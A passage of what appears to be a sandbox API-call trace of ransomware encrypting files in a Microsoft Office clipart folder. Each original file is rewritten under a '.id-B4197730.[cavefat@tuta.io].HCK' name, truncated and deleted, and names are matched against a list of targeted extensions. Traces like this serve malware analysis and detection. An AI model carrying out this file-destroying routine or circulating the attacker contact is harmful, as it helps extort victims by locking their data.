"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0167.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.976] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.976] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.981] GetLastError () returned 0x0 [0167.981] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1068, lpOverlapped=0x0) returned 1 [0167.984] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1070, lpOverlapped=0x0) returned 1 [0167.985] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.985] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.985] SetEndOfFile (hFile=0x378) returned 1 [0167.987] CloseHandle (hObject=0x378) returned 1 [0167.987] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.987] SetEndOfFile (hFile=0x39c) returned 1 [0167.991] CloseHandle (hObject=0x39c) returned 1 [0167.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.992] lstrlenW (lpString=".doc") returned 4 [0167.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.992] lstrlenW (lpString=".docx") returned 5 [0167.992] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.992] lstrlenW (lpString=".pdf") returned 4 [0167.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.992] lstrlenW (lpString=".xls") returned 4 [0167.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.993] lstrlenW (lpString=".xlsx") returned 5 [0167.993] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.993] lstrlenW (lpString=".ppt") returned 4 [0167.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".zip") returned 4 [0167.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.993] lstrlenW (lpString=".rar") returned 4 [0167.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString=".bz2") returned 4 [0167.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString=".7z") returned 3 [0167.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".dbf") returned 4 [0167.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".1cd") returned 4 [0167.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".jpg") returned 4 [0167.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".doc") returned 4 [0167.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString=".docx") returned 5 [0167.993] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.993] lstrlenW (lpString=".pdf") returned 4 [0167.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString=".xls") returned 4 [0167.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.993] lstrlenW (lpString=".xlsx") returned 5 [0167.993] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.993] lstrlenW (lpString=".ppt") returned 4 [0167.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.993] lstrlenW (lpString=".zip") returned 4 [0167.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.993] lstrlenW (lpString=".rar") returned 4 [0167.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.994] lstrlenW (lpString=".bz2") returned 4 [0167.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.994] lstrlenW (lpString=".7z") returned 3 [0167.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.994] lstrlenW (lpString=".dbf") returned 4 [0167.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.994] lstrlenW (lpString=".1cd") returned 4 [0167.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0167.994] lstrlenW (lpString=".jpg") returned 4 [0167.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.994] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.994] lstrlenW (lpString="J0107516.WMF") returned 12 [0167.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.998] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14008) returned 1 [0167.998] CloseHandle (hObject=0x2ec) returned 1 [0167.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0168.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.011] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.011] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.015] GetLastError () returned 0x0 [0168.015] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x36b8, lpOverlapped=0x0) returned 1 [0168.017] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x36c0, lpOverlapped=0x0) returned 1 [0168.018] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.018] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.018] SetEndOfFile (hFile=0x2ec) returned 1 [0168.020] CloseHandle (hObject=0x2ec) returned 1 [0168.024] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.024] SetEndOfFile (hFile=0x330) returned 1 [0168.029] CloseHandle (hObject=0x330) returned 1 [0168.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString=".doc") returned 4 [0168.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString=".docx") returned 5 [0168.032] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.032] lstrlenW (lpString=".pdf") returned 4 [0168.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString=".xls") returned 4 [0168.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.032] lstrlenW (lpString=".xlsx") returned 5 [0168.032] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.032] lstrlenW (lpString=".ppt") returned 4 [0168.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString=".zip") returned 4 [0168.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.032] lstrlenW (lpString=".rar") returned 4 [0168.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString=".bz2") returned 4 [0168.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString=".7z") returned 3 [0168.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString=".dbf") returned 4 [0168.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString=".1cd") returned 4 [0168.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.032] lstrlenW (lpString=".jpg") returned 4 [0168.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString=".doc") returned 4 [0168.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString=".docx") returned 5 [0168.033] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.033] lstrlenW (lpString=".pdf") returned 4 [0168.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString=".xls") returned 4 [0168.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.033] lstrlenW (lpString=".xlsx") returned 5 [0168.033] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.033] lstrlenW (lpString=".ppt") returned 4 [0168.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString=".zip") returned 4 [0168.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.033] lstrlenW (lpString=".rar") returned 4 [0168.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString=".bz2") returned 4 [0168.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString=".7z") returned 3 [0168.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString=".dbf") returned 4 [0168.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString=".1cd") returned 4 [0168.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0168.033] lstrlenW (lpString=".jpg") returned 4 [0168.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.033] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.033] lstrlenW (lpString="J0107544.WMF") returned 12 [0168.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0168.040] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26768) returned 1 [0168.040] CloseHandle (hObject=0x364) returned 1 [0168.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0168.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.049] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.049] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.056] GetLastError () returned 0x0 [0168.056] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6890, lpOverlapped=0x0) returned 1 [0168.063] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x68a0, lpOverlapped=0x0) returned 1 [0168.064] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.064] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.064] SetEndOfFile (hFile=0x39c) returned 1 [0168.070] CloseHandle (hObject=0x39c) returned 1 [0168.071] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.071] SetEndOfFile (hFile=0x378) returned 1 [0168.073] CloseHandle (hObject=0x378) returned 1 [0168.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0168.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.077] lstrlenW (lpString=".doc") returned 4 [0168.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.077] lstrlenW (lpString=".docx") returned 5 [0168.077] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.077] lstrlenW (lpString=".pdf") returned 4 [0168.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.077] lstrlenW (lpString=".xls") returned 4 [0168.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.078] lstrlenW (lpString=".xlsx") returned 5 [0168.078] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.078] lstrlenW (lpString=".ppt") returned 4 [0168.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".zip") returned 4 [0168.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.078] lstrlenW (lpString=".rar") returned 4 [0168.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".bz2") returned 4 [0168.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".7z") returned 3 [0168.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".dbf") returned 4 [0168.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".1cd") returned 4 [0168.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".jpg") returned 4 [0168.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".doc") returned 4 [0168.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".docx") returned 5 [0168.078] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.078] lstrlenW (lpString=".pdf") returned 4 [0168.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".xls") returned 4 [0168.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.078] lstrlenW (lpString=".xlsx") returned 5 [0168.078] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.078] lstrlenW (lpString=".ppt") returned 4 [0168.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".zip") returned 4 [0168.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.078] lstrlenW (lpString=".rar") returned 4 [0168.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".bz2") returned 4 [0168.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString=".7z") returned 3 [0168.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".dbf") returned 4 [0168.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.078] lstrlenW (lpString=".1cd") returned 4 [0168.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0168.079] lstrlenW (lpString=".jpg") returned 4 [0168.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.079] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.079] lstrlenW (lpString="J0107722.WMF") returned 12 [0168.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.081] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8260) returned 1 [0168.081] CloseHandle (hObject=0x370) returned 1 [0168.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0168.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 